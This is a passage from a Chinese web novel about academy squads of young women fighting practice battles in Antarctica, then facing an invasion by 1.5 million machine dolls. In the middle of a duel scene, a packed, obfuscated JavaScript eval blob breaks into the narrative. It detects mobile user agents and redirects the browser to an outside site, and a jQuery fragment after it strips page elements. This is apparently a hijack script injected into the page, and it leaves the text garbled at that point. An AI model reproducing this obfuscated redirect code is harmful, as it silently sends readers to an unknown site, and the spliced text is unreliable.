家山东山脚战场，业凰队员们经历两场苦战，现在还在奋战，精神大不如前，所幸野芹被玉珊瑚和铃兰引到战场边缘，敌人群龙无首，混战之下，业凰集群以三换二的比例消耗着敌方人数，铃兰看玉珊瑚已经习惯怎么纠缠野芹，感觉以她风家血脉的天资，足够拖到战斗结束，就退出战场，通知在外围作战的精锐队员集合，有1500人，大家神不知鬼不觉的绕到战场西侧，铃兰瞭望家山西部，是万人规模的战况，她想起了红莲最后一句嘱托，带着这三支精锐联队，突然冲向西方。 西部战场内没人注意到这情况，铃兰突破采矿基地内的零散侦察班，等紫洋的参谋官发现山下平原里有敌人时，就已经迟了，但参谋们还是分出一个集团去阻截铃兰，因为前后命令矛盾，导致这个集团在山下集合，就被铃兰冲破，堵截住了紫洋亲带的精锐集团的退路。红莲在山坡上，早注意到铃兰的动向，她等的就是这一刻，率领集团主动钻入包围圈，紫洋还忙着向两侧分出队伍进行包围呢，却惊见红莲众人已经冲到距自己百米之远。 紫洋大喊：“全员一起上！消灭她们！” 自己却向后逃窜。 她的这个命令是向前冲，大大减轻了铃兰队伍的压力，参谋官们护着紫洋往后跑了几十米，就见身穿白衬衫和黑马甲的业凰队员真到了面前，铃兰挥剑就攻，众参谋一起挡，紫洋赶忙向前跑，指挥系统全灭，她一个人混在自己的精锐集团里，稍感安全，金色的公主式发型被红莲集团的队员在老远就认出，于是红莲大喊：“目标紫洋！” 众人胡乱拨了几剑就全力冲锋，沿路多有败退者，很快就将紫洋和十几个精锐队员围堵住，这十几人帮紫洋杀出一个人通行的路，紫洋逃出来，又见铃兰带两个联队冲过来了，她就独自在山坡战场里乱跑，红莲和铃兰汇合后把她捉住。 理论上，紫洋败退并不影响其他人，可她手下已经没有参谋官了，小队长互相谁也不服谁，只有几只小队追击过来，紫洋见状，再有刚才的懊悔和惊吓，突然说：“我认输算了！” “啊？” 红莲刚想迎敌，听身后的紫洋突然发话，就扭头看她。 “算了，怪我自己捡小便宜，吃大亏！再打下去也没意义了，我认输。” “那我真心感激你。” 于是山坡上的双方停止战斗，人们互助下山，紫洋派了五百辆运输车协助业凰队员回科学院，顺带通知野芹停战。 紫洋从车窗看到东山脚战场周围躺下休息的队员的胳膊上全是极字，就突然明白这里的局势不是她想的那样。 由于野芹一个人的战力太强，需要不停抽调小队去堵截她，业凰集群的人数优势早已被野芹集群逆转了，此时野芹还有两个集团在包围圈里，而外围只剩一个业凰集团了，还有五百人单独围着野芹，野芹则在这群人攻势下追击玉珊瑚，粉发少女逃猛了，一个冲刺就来到人群外面，才发现周围已经没人了，她发呆一刻的时间，野芹抓住机会，踢倒了她，玉珊瑚在倒地的一瞬间反转身体并将钢剑别在腰后，因为剑多次碰撞后，早已脆弱不堪。 野芹拿剑左右晃了一下，看玉珊瑚要用身体护剑，0元素形成的队服是免疫钢剑攻击的，所以野芹正要抬脚去踢她，就听身后的参谋官喊：“停手，我们认输了。” 她一脸不甘心，走到紫洋的车旁说：“你再拖会儿，我这边赢了就去帮你呀？” 紫洋咬牙，懊悔增加了她的怒火。 “拖什么拖！我都退场了，还打什么！回！” 游刃有余 就这样，红莲带领的业凰科学院在一天内打赢了三场比赛，她觉得即使输，也必须赶时间，灵能会的大军随时发动战争，要练就必须尽快。 天烛派来的运输车接上了混混欲睡的队员们，她们回科学院就被留守队员抬回宿舍，普通队员有机会被留守队员替换，而精锐队员就只有5个小时睡眠时间，第二天，数百辆运输车载了还未睡醒的队员，跟随其他队员来到内陆雪原东南角，这里是第二运输局的阵地外围。 队员们睡眼朦胧，揉着眼睛，跳下车，眼前是广阔的南极内陆东部雪原，常年的暴风使地形起伏，多雪坡和雪坑，她们左手边能看到遥远的赛博空港山脉，右手边是南极点的群山，正面远处是一座巨大岩柱——魔鬼塔，第二运输局建于塔顶，塔下有一环套一环的阵地，其中有冰块和物资箱构建的半圆形防御工事，这些工事在阵地中以蜂窝状排列，各安装了自动机炮，形成了多角度的密集火力网，五个集团穿插在火力网之间，随时准备抵挡对手的冲锋。 “阵地南北400公里，东西 260公里，呈椭圆形。” 红莲说完，把望远镜递给身边的参谋们，她们观望一番后提出观点。 “不太对劲，按理说业凰在第二运输局的西北方，她们应该在西侧重点部署防御，阵地怎么成了南北更宽呢？” “我也不太清楚，印象里，千鸟是随意的人，现在阵地南北更宽就是不怕我们从西方发起冲锋，有意用南北阵地中分散的队伍夹击并包围我们。” “那红莲大人的意思是绕到东方突袭吗？” “别称呼大人了，我不习惯高人一等。” “我们以前叫习惯了。” “好吧，随你们吧。千鸟应该是看过前三场比赛的战报，她知道我们业凰善于移动战，所以布置好了这个口袋阵。绕路到东线阵地的话，就要深入到西部雪原，她敢减少东线防御，说明第一运输局的阳荷会支援她，在东线设有埋伏。南线紧靠群山，地形狭窄，更不利于进攻，我们有且仅有西线这一条进攻路线。问题是。” “那些自动机炮。” 红莲笑着说：“对，练习赛而已，派两个集团，分成五路，对手就留了五条通道，就按她的路冲，冲800米，看看效果，威胁不大就转而肃清身后工事，对手火力猛就撤回来。” 两支联队1250人为一路，她们在雪坡后方站好队形，每人发型和发色不同，都穿着黑色短款夹克和短裤，脚踏短靴，精神抖擞。 五路队伍沿坡顶一字排开，迎风暴和雪流，俯视百里阵地，前排队员缓慢下坡，后排队员加速滑行，当最后一排的队员完成下坡，全员极速冲刺，远方阵地内开始射出弹幕，队员们在移动中汇合成五路队伍，向阵地的五个空隙冲锋，弹雨打在队员身上就掉落，像一颗颗小豆子。 当各队冲入阵地200米的时候，前方出现防御工事干扰冲锋速度，队伍不得以在工事两侧分流，这举动造成的减速和背后暴露，导致几十名队员败退。 此刻，远方的业凰指挥部才见识到千鸟阵地的威力，在红莲的望远镜视线内，各防御工事的自动机炮一齐开火，组成一张蛛网形的弹幕网，每200米出现的阻挡使各队一再减速，当她们终于冲到800的位置时，根本没余力肃清身后的机炮，只能原路返回。 这时，那些阻挡的工事扰乱了队员们的方向感，她们稀里糊涂的乱撤，整个试探行动造成293名队员的钢剑损坏而败退。 参与这次行动的联队长集合到红莲身边，汇报战况。 “防御工事内各有一支小队，而机炮的操控权是用三防电线，远程遥控的，推测没有瞄准功能，全凭概率射击，我们摧毁了五个工事，击败125人。” “好，辛苦了。” 红莲说完，扭头对各位参谋官和集团指挥官下令。 “我们分成十个集团，五路负责冲锋，称为主攻集团，五路负责肃清各队中间地带的防御工事，称为辅攻集团。主攻集团的最南和最北都是精锐集团，南路由铃兰带领，北路由玉珊瑚指挥，我带一路走中间。记住，灵活些，要掩护辅攻集团不受敌方援军的干扰，不要冲太快，十个集团在阵地东线汇合，到时各集团指挥官在聚，我根据局势再下命令。” 夜空之下，白雪大地之上，各集团队员越过雪坡，最南和最北两路提前绕行到雪坡前方，接近阵地就后退，为后方队员们吸引火力，使三万多人组成一片密集人海，队员们找到所属集团，就一齐冲锋，这次攻势覆盖了阵地三分之二的防御面，人们迎面是照亮天地的弹幕，金属子弹打在皮肤上就被0元素能量场弹开，像玩具枪的塑料子弹一样。 业凰集群吞没了阵地的900米范围时，千鸟集群的支援部队从防御工事的缝隙间杀出，踏破积雪，卷起千堆雪浪，这些队员的袖章上印了一个千字，她们被主攻集团挡住，双方激战极猛，少女们在火光与风雪中交错战斗，主攻集团的指挥官组织主力去冲溃对手，她们就立刻在机炮的掩护下撤退，等主攻集团帮辅攻集团解决防御工事的时刻，千鸟的支援队伍又冲杀过来，总之极为难缠。 千鸟集群的每一次冲锋都像是磨刀石，一点一点的消耗业凰集群的人数和士气。 最南的主攻集团向阵地猛扑，进展神速，渐渐形成半月形的攻势面，最北的玉珊瑚集团也不甘示弱，他们迅速调整阵型，粉发少女单人冲离队伍，以绝对高超的武技，上下翻飞，在躲避弹幕的同时阻挡支援部队，为身后集团肃清工事争取了时间，机炮子弹如雨般射向她。 瞬间，空气中充满了嗖嗖的破空之声，然而，概率射击不分敌我，玉珊瑚跳入敌群，弹幕击败了不少敌方队员，就这样，南北方向的主攻集团对千鸟的机动部队形成包围之势。 这时，业凰集群已经前进了140公里了，千鸟集群放弃全部机炮，转而短兵相接，刀枪交相辉映，在雪原上划出一道道刺眼的寒光。战场上，怒喊声和兵器交击声交织在一起，构成了一曲振奋人心的战歌。 火星灼烧雪地，又迅速被新落的雪花覆盖，仿佛是大自然在无声地抹去这些痕迹，试图让一切回归平静。 随着战斗的持续，双方均有大量队员败退，业凰一方被机炮打败的队员更多。就在这时，一位身披黑色大衣的将领从南路战场中脱颖而出，他手持一柄寒光闪闪的长剑，身形矫健如豹，穿梭于敌阵之中，所向披靡。她正是南路主攻集团的统帅铃兰，以她超凡的武艺和卓越的指挥能力，率先接近东部防线，突破此地就等于分割了千鸟集群。 然而，强者不止她一个，正当她率众向东猛时，人们脚下突然变滑并有向下的坡度，原来是有人挖了陷阱坑，不少队员掉进五米深的雪坑中，铃兰身轻如燕，掉落坑底的队友的帮助她，跳翻上来，却见一剑迎面横扫过来，铃兰使出绝命剑，当下这招攻击，二人跳远开来，铃兰见此人头戴兔耳，笑容诡异，穿白衬衫和连体裤，身段曼妙，举止轻佻。 两人战得难解难分，铃兰需要时间恢复精力，她尽力拖延，双剑相交之刻，那兔耳少女好像看出了她马上有绝招了，就面露邪笑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875303|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间跳飞向天空，在空中做了几漂亮的后空翻，极速逃走，铃兰最讨厌这种耍心眼的家伙，她率众紧追不舍。 红莲在距东线五十公里的位置汇合八个集团，她原本计划突破东线，将千鸟集群一分为二，现在却见前方人影攒动，敌方以为密集，一时无法冲破，她再看周围环境，都是队友，敌方队员都在外围。 红莲懂了，千鸟原本就不想包围她们，所以在业凰集群冲锋的过程中就调离了各队伍，云集在东线正面战场，那么最北的玉珊瑚集团向北包围就扑空了。等玉珊瑚冲到阵地边缘，发现整个阵地的北部只有600多人留守，这600人还剩一半逃亡了北方雪原深处，她没法，只好带队折返，红莲组织四个冲锋集团，费劲巴拉的突破东线，和玉珊瑚汇合，一起把千鸟赶往南侧，却在追击过程中得知，铃兰被千里引入包围圈，突破不成，有1500人退场了。红莲急忙支援南路残部，汇合后在试图包围千鸟集团。 业凰集群的每一次总攻，都似乎差一步就将千鸟集群击溃。雪原之上，到处都是撤退与追击的身影，夜色与狂风增加了人们的焦躁情绪、 雪光映照下，防御工事和时有时无的陷坑大大减弱了业凰队员的冲锋能力，双方在战场的运动像两个老年人打太极拳。 红莲的临场指挥能力在此发挥作用，她之前每一步指挥都为最后能封堵千鸟集群的东路和北路而实施。此刻，她将指挥权移交给铃兰，自己带昨天升星的一支三星级联队向西急冲了一段路，在向南猛冲，顷刻间贯通了千鸟集群了中线，千鸟集群必须围攻红莲，不然她无法再组织躲避业凰集群的运动战了。 就是千鸟集群这一阵从外到内的指令变更，让业凰集群抓住破绽，铃兰成功将千鸟集群包围在南部山下并率精锐集团营救红莲，队员们在雪地上滑出出明快的节奏，宛如救星逼近，等她赶到的时候，红莲身边只剩两个三星队员了。 她俩的眼神中透露出坚韧与决绝，仿佛已经预见到了即将到来的胜利，二人一起在包围圈中追击千鸟姐妹，而千鸟在队友的掩护下尽力边战边逃，风雪似乎知晓决战，更加猛烈了，雪花在空中狂舞，仿佛在为焦灼的战斗预热，而每一片雪花落地，都似乎在预示一个队员败退，每位少女的身姿都展现了坚毅与不屈，即便面对强敌，也未曾有过丝毫退缩。 业凰队员们的钢剑如林，真是把千鸟集群耗到了山穷水尽，整个第二运输局仅剩3000多人，才将千鸟逼到认输了。 业凰集群在此战败退过两万人，红莲想到这个，不免敬服身旁的千鸟。 “你的队员战到这种程度，你太厉害了。” “她们多少学过一点儿，千家成立的时候，全员进行过一般枪械训练，但远不及首都卫戍军团和阳家的战斗素质。” 千鸟说罢，对参谋官下令，帮业凰队员完成休整，她望着巨型岩柱下方的人们，揉捏自己耳边的两条小辫子，面貌清秀可爱，黑色大衣和短款衣裤很像红莲的穿着，她继续给红莲讲解。 “胆小的人也有作用啊，她们对全局更为敏感，危机感强。每个班五个人吧，放一个胆小的联络员，再在小队，中队，联队各级队长身边安排一个联络官，她们只负责撤退，权限高于队长，这样就撤的超快，我自己来控制整体战术，或战或退由我决定，这样就能大幅减少人员损失。” 红莲思考这个编制的策略，非常适合守卫一般阵地，但攻势欠佳。 千鸟再补充说：“独立的侦察部队也很重要啊，千里是前特种侦察部队出身，她能把战场全局实时标注在视线地图里，还能及时通知各队撤离。” “原来如此，南极电子战太弱，侦察部队确实重要，临时指挥权限应该高于一般指挥官。” “对，红莲，你上次说的话，我想过了，人都有一死，死之前拼一下确实比什么都不做更有趣，我想部下们也是这样想的，才都服下0元素。我输的心服口服，我们以后听你的。” “千鸟，我情愿冲在最前，第一个牺牲，感谢你们信任我。” 红莲起身，黑色长发在大檐帽下随风飘散，大衣被吹开显露内穿的软甲，长筒靴向前跨了一步，身姿英飒，单手拨动长发，扭头回看千鸟，与她一同微笑。 铜墙铁壁 业凰集群更换钢剑，服用营养剂，在第二运输局里梳洗和完成个人卫生需要，休整完毕，千鸟派出运输车队送她们到达第一运输局的管辖范围边缘，预示着最后一战即将开始。 最北侧的高耸山壁是空港山脉，它横挡住南极内陆的一半，将北海岸的威胁拒之门外，如果从天空俯视山脉，是呈半月形，山下的山谷再往南就陡然变低，有个大凹坑，从西看却有雪坡平滑的过度到空港山脉下的空港高原，是看不到那处凹坑的，说明巨坑不是自然形成。 业凰三万人分成两个集群，一路从西部雪坡进入高原后，围攻凹坑的上方边缘阵地，另一路从南部低洼雪原接近凹坑的下方阵地。 阵地内全是自动机炮，阳荷的布防与千鸟不同，她更重视立体火力网，对弹幕覆盖范围做过精密安排，几乎不留一丝空隙。红莲带集群就这样一层又一层的攻陷下方阵地，偶尔有敌方队员冲出来打一下就撤，论损失，肯定是业凰集群更大，阳荷对远程武器的运用非常极限，要么不开火，开火就以饱和火力打碎业凰队员的钢剑。 当业凰队员们终于逼近第一运输局本体，可见古代地下城的入口就是西侧雪坡的横截面，入口已经被巨石封堵。 铃兰和玉珊瑚攻陷了这个凹坑的上方阵地，从凹坑上方进行索降，沿途遭到凹坑截面多层废墟中的敌方队员干扰和偷袭，进展并不顺利，横截面的下方就是运输局的车站隧道，西方和北方两个地下城截面内的自动机炮阵地对下方车站形成三维火力网。 红莲见此阵势，倒吸一口凉气，只能佯攻吸引火力，等铃兰和玉珊瑚指挥的上路集群肃清敌人，和她配合从上下两路一起攻入隧道了。红莲抽空望向东方，是空旷广寂的大平原，尽头是空港山脉和南部山脉交汇的东关口，据说那里再往东的海岸，早就被无尽的冰山带吞没，无需担心。 上路集群大部分降到隧道上方的时候，红莲发动了一场毁天灭地的冲锋，一路突到隧道入口，上方队员也降下来，众人躲在掩体后，清点人数，只剩18000多人了，才歼灭6000多人，红莲猜测隧道内不仅有更离谱的火力网，还有繁杂的交通网，敌方可以随意运动到她们不知道的位置。 阳荷充分利用了指挥比赛的规则，击碎钢剑就算杀死一个人，用饱和弹幕消耗业凰集群。 红莲想她没用□□就算手下留情了吧。 “你们拆这些钢墙和铁箱，一个班一扇墙，举着向前推进500米。” 于是众人举着五千多面钢墙，抵挡弹幕，前进一段路后立好钢墙，在各条隧道内形成防御壁，敌方开始用中口径火炮轰击这些钢墙，红莲指挥队员们变出0元素黑剑，一起切割隧道墙壁，偶然凿通了很多通道，一些通道内的敌方队员还在休息，就被业凰队员打败退了。 “喂！红莲！” 通道内的扩音器传来阳荷的声音。 “你说。” “你把我的学院凿的全是洞！不带这样搞破坏的！” “可你的火力网太密了，还用大炮，钢剑撑的住炮炸吗！咱俩一样不讲武德。” “好吧，我们在隧道里堂堂正正近战决胜！” “一言为定。” 两学院的队员之间，仅隔数百步之遥，空气中弥漫着浓重的杀气。随着一声尖锐的号角声划破平静，战斗终于爆发了。业凰集群如同黑色的洪流，势不可挡地冲向阳荷集群的防线。少女们的喊声和刀剑相交声震耳欲聋，每一次斩击都激起耀眼火花，将昏暗的隧道照的时明时暗。 阳荷毫不畏惧地迎了上去，巨剑是她的优势，每一挥就打断一片业凰队员的剑，红莲与她缠斗，二人成为各自集群的支点，业凰队员的剑术更好，挽回了人数劣势，渐渐吞没了阳荷的侧翼。玉珊瑚在另一条隧道遭遇了摩罗副官，她的武技随不如玉珊瑚，但临场指挥能力更好，每当玉珊瑚凭一时勇气冲到她身边，只差一步就打败她时，却深陷重围，不甘同归于尽的玉珊瑚，只好撤回本队。 战局还不明朗，然而，从隧道外跑来的传令队员身穿棉衣，这很反常，说明她是从业凰科学院来的后勤队员，还不习惯户外的环境，众人们意识到这一点，纷纷给她让路，参谋官从她口中得到情报就火急火燎的冲到红莲身边，连说了几句话，红莲还在跟阳荷比剑，都没听见。 众参谋一起喊：“真正的敌人！” 红莲反应过来，转身看到那位后勤队员，阳荷摆手让全员也停止战斗。 “红莲大人，天烛大人让我通知您，机械兵团已经进入雪牢关，占领了家山东部和空港山脉西侧滑雪道，完全控制了雪牢关！目测约有70万个机械人偶进入内陆，还在增加，它们在业凰环丘北部一字展开，预估敌人总数不低于150万，武器是。” 红莲急了，她早预料到敌人随时会来，向隧道外冲的时候，听到后勤队员说敌人的武器是震动粒子长刀和激光步枪，业凰集群全员三万人一起冲出大凹坑，向西北方全力冲刺，每个人都在心中祈祷，业凰千万不要沦陷，她们在滑行途中，就可看清北方雪原中到处是黑色人影，风声里全是机器人关节运动的哒哒声。 比赛结果 南极内陆各学院的人们经历了单人剑术比赛和群体指挥比赛，个人武技和群体战水平都有提高，不少队员升为二星或三星，0元素的星级是根据个人的声望，还有执行任务的危险程度和综合贡献，自动评定和升星。 三星以下是普通队员，三星是精锐队员。 四星及以上队员称为将军级队员，综合水平从低到高分成四档： 第四档是比一般三星队员稍微厉害一点，指挥能力非常出众的人，有望江南，藤萝，天烛，夜兰，摩罗是这档最强，望江南的人望和武技很差，是三星，其他人四星。 第三档是武技可以单挑十五名普通队员，可以充分指挥集群战术的四星队员，千里，千鸟，紫洋，天荷，阳荷是这档中的强者。 第二档是武技非常出众，可以单挑一个小队，指挥能力够胜任集群指挥官的四星队员，有曼达，玉珊瑚，铃兰，竹桃，黑巴是其中的佼佼者。 第一档是武技登峰造极，能凭个人实力左右区域战况的人，有风信子，野芹，红莲。 作者再说明队员的编制： 班5人 小队25人 中队125人 联队625人 集团3125人 集群15625人 31250人称为中集群 46875人称为大集群 更多人数称为超大集群 亲卫=精锐，如：亲卫集团等于精锐集团 供读者对名字和编制有个清晰的概念。 26. 章26南极：机械军团战役 人，没有时间停下来想什么意义，想清楚了也未必能贯彻到身心，向自己认为的正确道路前进时，面临的环境才真正塑造了崭新的你。 夜空依旧，风似无形女神的羽衣卷飞万里雪花，在时空中随意创造了无数条有形的雪流，让人分不清地面与天空，三万名黑衣少女滑行其中，以人潮推起层层雪浪，迫不及待的冲往旷野中的巨大白石城堡。 那环抱城堡的洁白双翼之上，有一座形如鹰头的巨石，是回家方向的灯塔，众人冲入业凰科学院，红莲与其他指挥官疾行穿过同样焦急恐慌的留守队员，乘坐底层广场山洞内的电梯，直升到最高塔楼，撞开社员办公室大门，不等天烛和夜兰说话，就大步绕到办公桌后，凝视全息地图和监控画面。 学院外墙隐蔽安装的监控探头记录着进入雪牢关的机械人偶数量，118万，每秒增加5000个，总人数及其位置同步显示在电子地图中，机械军团在南极内陆北侧扩散，似乎要全部入关后发起总攻。 “武器数据？” 红莲用最短话语直接问重点，天烛副官一时适应不了前线节奏，慢条斯理的回话。 “工业科分析监控画面，仿制了机械人偶的武器样品，近战武器是纯能振动刀，用刀柄内的微核电池激发合金刀刃产生纯能震动效果，还有激光步枪的子弹威力，即使饱和攻击，也没有0元素存量自然恢复快，队员可以完全免疫刀枪攻击。” 红莲再听天烛讲解的过程里，编写完了作战计划，并发送到各位集团级指挥官的信息板，众人低头阅读： 放弃业凰。 五万人分为三个集群一个后勤集团。 天烛带后勤集团撤到服务局北防线边缘，与曼达集群建立联系。 三个集群的指挥官为铃兰，夜兰，玉珊瑚。 三个集群分成15个集团一字排开，部署到业凰东南两翼共30公里，铃兰和玉珊瑚率精锐集团在最西和最东，夜兰集团居中支援两翼，且战且退，全员任务目标是掩护服务局北防线安全。 红莲带三星精锐队员中队留守业凰。 “诸位按这个计划编队，汇合点为服务局，执行命令吧。” 铃兰和夜兰看完这份作战计划就惊讶的说不出话，人们望着红莲，只有天烛敢于反驳她。 “你一个中队125人怎么能守住业凰？我调查机械人偶的武器，就是为了让大家明白这场战役毫无危险，我们免疫敌人的攻击。” “这是实战。” 红莲说着，抬头怒视各位指挥官并大吼：“你们愣着干什么！展开防线需要时间！赶紧滚出去！” 办公室只剩两个人，红莲卸掉力量，重重的跌坐在椅子上，抬眼看了天烛，再低头说话。 “练习是练习，实战是实战，近身战不同于枪械战，对个人的心理素质要求极高。业凰现在是一座孤岛，其他学院自顾不暇，我们全被围在业凰就完了。天烛，走吧。” “我不走！” “后勤队员不善战，战斗队员还需要她们的接应救护，战事一开就没人负责联络外界，你的任务很重。我带百人队伍能躲藏在业凰里，伺机摧毁敌方指挥系统，我和队员的星级都高，硬冲能逃出来的。” 天烛被红莲说服了，她干张嘴，眼含泪光，迟迟不动。红莲起身，轻按她的肩膀，单手帮她梳理额头两侧的头发，二人对视，红莲微笑后说：“执行命令，天烛副官。” 业凰科学院南部，后勤集团搬运科研设备和物资到运输车上，天烛回望学院，在心中告别，转身上车，数千辆运输车驶往服务局北部，要在那里构筑临时营地，车上的后勤队员们遥望东西方向，3125人分成五人一组，扩散到1000米范围，组成面朝北方的扇形阵，15个扇形阵在业凰两侧形成守护内陆中部的防线。 走到最前排的战斗队员学着身旁队员的样子，单腿前屈，左手放在膝盖上，右手变出黑剑，她站好后，才有闲心观察遥远北方的业凰环丘外的机器人军团，居然惊恐的发现，敌人因为数量太多，已经挤的溢出到距离业凰防线2公里远了，黑压压望不到边际，如果不是机器人身上的装甲反光，有无数黑点在蠕动，仿佛就是黑夜突然吞食了雪白大地。 夜幕不断涌出敌人，队员侧脸看向班长，再看左右都是队友，回头望身后是无边无际的白雪，再向前凝视。 在这片被寒冷的世界里，一场前所未有的对峙悄然上演，驻扎在南极北海岸的灵能会奴隶院机械兵团团长咖啡率领150万个机械人偶，悍然入侵内陆。 机械人偶的历史在南极广为熟知，它们在古代是南极家用机器人公司的商品，主要从事生活服务工作，最终战争时期，人类招募它们共同对抗灵能会，激光步枪就在那时研发并列装的。人类战败后，灵能会抓获了人偶首领咖啡，植入了服从协议。现在，它们调转枪口，要屠杀人类。 人偶身高172CM，为适应战争需要，头部用白色的陶瓷面具当脸，其它部分全黑，机械骨骼外没有塑胶皮肤，安装了躯干装甲和装甲裙，手足各有护甲，双刀插在腰侧，背着激光步枪，个别人偶穿了化纤制成的白围裙，是冰雪女王促成人偶和人类有过短暂蜜月期的证据。 队员们感觉机械人潮越挤越近了，白雪映照它们的金属外壳泛着幽幽的蓝光，那是能源核心在低温中特有的光芒，释放出令人心悸的寒意。 每一台机械人偶的眼中都闪烁着红色的光点，那是它们的视觉传感器，在黑暗中如同野兽的瞳孔，锁定每一个潜在的威胁。 偶尔，一阵寒风掠过，卷起层层雪雾，却也只是为这宏大的场景增添了几分朦胧与不祥，在这看似平静的表象之下，却暗藏着汹涌的暗流。 它们体内的反应堆开始轰鸣，军团忽然开始有规律的运动，展现出让人类难以置信的高度协同，机械战士们排列得整整齐齐，宛如一片钢铁的海洋，波涛汹涌，所有人的眼球映照出一股不可阻挡的钢铁洪流，席卷整个雪原，要将一切阻挡在它们面前的敌人碾成齑粉。 人的思维要经过大脑，意志要经过心，精神还得统合身心才会发挥作用，眼睛和皮肤首先对外界做出反应，普通队员还没来得及把内心的战意输送到手腕上，就随意空挥了几下，更没来得及害怕，视线根本没空理睬那万道激光弹幕，只见机械人偶在冲锋过程中越堆越高，形成近百公里的钢铁巨浪，她只能大开眼睛和嘴巴，一动不动的站在铁流之下，被漫过全身的钢铁造物压倒了。 谁知道发生了什么？ 她平躺在雪中，身上似乎有数以亿计的铁马奔腾而过，自己的身体被它们踩的越陷越深，眼睛紧闭，还涌动热泪，头被铁块撞的崩崩响，恐慌催促她睁开眼，满目皆是高速移动的钢铁，少女的理智在这一瞬间崩溃了，身体胡乱扭摆，求生本能调动胳膊，极力抬起，在重压之下，反复尝试才将双臂护在面前，任由机械人偶踩踏自己。 它们的铁鞋仿佛是时间裂缝中遗落的碎片，稀薄空气混了雪花，折射出光怪陆离的乱影，一切如同梦境与现实交织的边缘。 沉重的钢铁无数次敲打队员的脑袋，回响在脑里里震荡，如同恐怖本身的回音，孤独且漫长。当她稍有理智，希望却立即被每秒到来的铁足踩灭，只留下无尽的怕与哭。她耳边似乎有死神低语，好心劝告她尽快自我了断，时间和信心失去了意义，意识变得扭曲而深邃。 她的一生仿佛就为了此刻置身于这个巨大的噩梦之中，既真实又虚幻，让她分不清是该反抗还是深陷。当她的内心深处终于涌现一丝怒火时，这火焰顷刻烧遍她的全身，右手再变出黑剑，全力挥动，双腿终于曲起，但她单凭自己没法站起来，她想起了队友，想起了班长，想起了赋予自己这身防御和真我剑术的红莲将军，她对自己说，这是我的战斗，无论如何，都别想让我屈服！ 她的班长是二星队员，在指挥比赛里，追随过红莲和玉珊瑚，经历过苦战的洗礼，因此在机械兵团发起冲锋后，面对照亮天地的弹雨，还能保持理智，可她正要下令，竟看到自己班的一名队员发疯似的冲进铁人洪流中，被淹没了。 班长转身推身边队员一起去救，却发现对方完全呆住了，推几下都没反应，就在这时，铁流倾泻而下。班长在手臂被人偶触碰的一瞬，激发了混合本能与怒火的强烈战意，施展一命剑，在钢铁巨浪里划开一道破口，为她和身边的队员以跪姿趴下争取到了时间。 班长在同等重压下，反复呼喊队员，环境里全是金属零件的碰撞声，太过嘈杂，她奋力挤到队员耳边大喊，队员还是没反应，她意识到这位队员是被绝境吓傻了，她轻吻队员的脸颊，就这噩梦中的温柔，点燃了队员心中的希望之火，她们耐心等待身上的人偶经过，班长体感铁鞋数量减少，二人合力斩出一道缝隙，跳到机械人偶大军之中。 她们肢体紧贴，避免分散，班长抽空晃了一下另外两名队员站过的位置，有两座机械残肢堆成的小丘，人偶不断走过铁丘，压的队员起不来，班长用意识通信联络了同行队员，让她背靠自己，班长和她移动到铁丘前，拨离重物，刚想去拉被压的队员，就险些被她的黑剑刮到，班长用意识通信反复呼唤她，再咒骂她，才帮她清醒，三人汇合的激动心情刚未平静，一支小队逆着人偶大军冲杀过来，原来是那位发疯冲锋的队员因祸得福，被铁人巨浪卷到了防线后方，带来了支援，这个班组就成功脱困。 她们的经历，平等的降临在长30公里宽5公里范围内的46875名队员身上，由于业凰集群是最先挡在机械军团面前的敌人，所以机械团长咖啡指挥150万个机器人试图碾过业凰集群，但被队员们短时间脱困的举动打乱了计划，于是机械兵团分出四群部队，各25万，向工业局和运输局进发，留50万在原地，消灭业凰集群，随后就能围攻服务局，进而直捣首都。 “杀！杀！杀！” 班长拉着意识恍惚的队员，听她嘴里不听念叨这个字，旁边的小队长噗嗤一声笑了。 “你拉她干嘛？杀吧？等谁拉解救我们呢？这时候，只有靠自己了。” 那队员挣脱了班长的手，一个箭步冲入人偶之中，众人一同冲去，各自保持避免误伤的距离，大混战开始了，机械人偶是队员的12倍，所见之处都是铁人的刀剑，剑林时而将队员捅倒，再由队友解救，两人拉手起来再战。 精锐的力量 业凰科学院后方的夜兰集团面对的敌人相对较少，身高超两米的黑衣女子，双手一挥长刀就砍碎一大片人偶，她转动长柄并转身跨两步，使出一招回旋横扫，斩碎近百敌人，刀锋稳稳的停在一个队员脸旁，队员看这长柄大刀的刀刃部分长有60CM，形如菜刀，恐怖异常，再看夜兰的脸色，是诡异的笑，吓的队员马上跑开。 身高赋予夜兰无与伦比的强大气场，众队员都害怕这位笑容吓人的副官，现在见她顷刻就消灭数百敌军，这流畅的刀法配上两米的黑色长发，鬼魅身姿简直是战场中的武神，她们当初害怕转变成鼓舞，都战意高昂，很快打破僵局，跟随夜兰冲破各集团之间的敌阵，反复尝试将各集团汇合成一个整体。 夜色笼罩的雪原上，寒风呼啸，卷起漫天雪花，夜兰手持锋利的长柄大刀，如同风暴般穿梭在敌阵之中。 激光弹如雨般射向黑衣队员们，然而，风雪之中，队员都不畏弹雨，奋力战斗。机械人偶残骇爆炸的火光与雪花交织在一起，显得格外凄美而惨烈。 战场上，兵器交击声、爆炸声、暴风声交织在一起，浓烟和火焰点缀了雪地，又迅速被新落的雪花覆盖。 夜兰集团的这阵冲锋使得各集团恢复了组织度，各中队长接到集团指挥和参谋官下达的命令，协调组成一个环形防线，这个变动导致一些理智尚未清醒的队员被机械人偶压住，中队长都是三星队员，让其他队员退回防线，各自凭武技去解救被困队员，一名中队长去拉发疯的队员时，被敌人干扰，没能躲开队员的黑剑，被队员斩掉了二根手指，而中队长还是把队员拉了出来，队员看到中队长留血的手时才清醒过来，中队长掩护队员回到防线里。 “你手怎么了？” 集团指挥官问她，她捂手等待身旁队员拿绷带包扎。 “没事。” “你上司联队长呢？” 指挥官喊她的上司过来，一顿训斥后得知，不少队长级队员的0元素存量不足3%了，已经危及生命，都是被己方黑剑砍伤。 “撤！” 